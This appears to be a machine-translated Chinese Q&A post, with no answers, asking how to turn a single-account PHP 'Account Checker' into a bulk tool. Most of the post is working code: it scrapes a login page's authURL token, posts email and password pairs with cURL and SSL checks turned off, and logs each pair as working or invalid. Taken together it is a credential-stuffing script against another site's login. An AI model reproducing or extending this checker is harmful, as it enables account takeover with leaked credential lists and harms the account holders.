PHP - 卷曲 - 表单问题

时间:2015-06-14 02:57:52

标签: php email curl

我有一个脚本来检查我的网站中是否有电子邮件:密码,但我希望能够通过将一堆电子邮件:密码复制并粘贴到单独的行中来批量检查这一点。 textarea,当你这样做并点击提交时,它将从以下邮件中分离电子邮件以及通过电子邮件传递:并将它们放入变量并逐个检查卷曲。不知道我从哪里开始,但是对于电子邮件:传递分离我猜测爆炸()?

PHP:

<?php
if(isset($_POST['email']) && isset($_POST['pass'])){

$URL = 'http://example.com/api/?checkere='.$_POST['email'].'&checkerp='.$_POST['pass'];

$ch     = curl_init();
curl_setopt($ch, CURLOPT_URL, $URL);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$page = curl_exec($ch);

if (strpos($page, '<title>Works</title>') !== false) {
    file_put_contents('output.txt',$_POST['email'].':'.$_POST['pass'].' is Working!');
} else {
    file_put_contents('output.txt',$_POST['email'].':'.$_POST['pass'].' is Invalid!');
}

}
?>

API:

<?php
if(isset($_GET['email']) && isset($_GET['pass'])) {

$email=$_GET['email'];
$pass=$_GET['pass'];

$url='https://example.com/Login';
$cookie="cookie.txt";

$ch2 = curl_init();
curl_setopt ($ch2, CURLOPT_URL, $url);
curl_setopt ($ch2, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt ($ch2, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31"); 
curl_setopt ($ch2, CURLOPT_TIMEOUT, 60);
curl_setopt ($ch2, CURLOPT_SSL_VERIFYHOST, false); 
curl_setopt ($ch2, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch2, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch2, CURLOPT_COOKIEJAR, $cookie);
curl_setopt ($ch2, CURLOPT_REFERER, $url);

$result2 = curl_exec ($ch2);

curl_close($ch2);

$expA=explode('name="authURL" value="',$result2);
$expB=explode('"/>',$expA[1]);
$auth=$expB[0];

$postdata = http_build_query( array('email' => urlencode($email), 'password' => $pass, 'authURL' => urlencode($auth))); 
$postdata = http_build_query( array('email' => $email, 'password' => $pass, 'authURL' => $auth, 'RememberMe' => '')); 

$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31"); 
curl_setopt ($ch, CURLOPT_TIMEOUT, 60);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, false); 
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_COOKIEFILE, $cookie); 
curl_setopt ($ch, CURLOPT_COOKIEJAR, $cookie);
curl_setopt ($ch, CURLOPT_REFERER, $url);

curl_setopt ($ch, CURLOPT_POSTFIELDS, $postdata);
curl_setopt ($ch, CURLOPT_POST, 1);
$result = curl_exec ($ch);

echo $result;

curl_close($ch);

}
?>

我当前的HTML:

<!DOCTYPE html>
<html lang="en" class="no-js">

<head>
    <title>Account Checker</title>
    <!-- Meta Data -->
    <?php include('../../metadata.php'); ?>

    <!-- Stylesheets -->
    <?php include('../../assets/css/stylesheets.php'); ?>
</head>

<body>
    <!-- Menu -->
    <?php include('../../ui/menu.php'); ?>

    <!-- Notifications -->
    <?php include('../../ui/notifications.php'); ?>

    <!-- Content -->
    <div class="footer" style="overflow:auto;"><div class="container"><div class="footer_top">
    <div class="wow"><h1>Account Checker</h1></div>

    <div class="wow">

    <form action="output.php" method="post"><span>
    <i><img src="//example.com/assets/img/login.png" alt=""></i>
    <input type="text" placeholder="Email" id="minime_url_textbox" name="email">
    <br>
    <i><img src="//example.com/assets/img/login.png" alt=""></i>
    <input type="text" placeholder="Password" id="minime_url_textbox" name="pass">
    <label class="btn1 btn2 btn-2 btn-2g"> <input name="submit" type="submit" id="submit" value="Check"> </label>
    <div class="clearfix"> </div>
    </span></form>

    </div></div>

    <div class="copy wow">
    <?php include('../../ui/footer.php'); ?>
    </div>

    </div></div>

    <!-- Javascript -->
    <?php include('../../assets/scripts/javascript.php'); ?>
</body>

</html>

引用的output.php只包含上面提到的第一个PHP。 我怎么能这样做?无法在线找到任何有用的信息。

0 个答案:

没有答案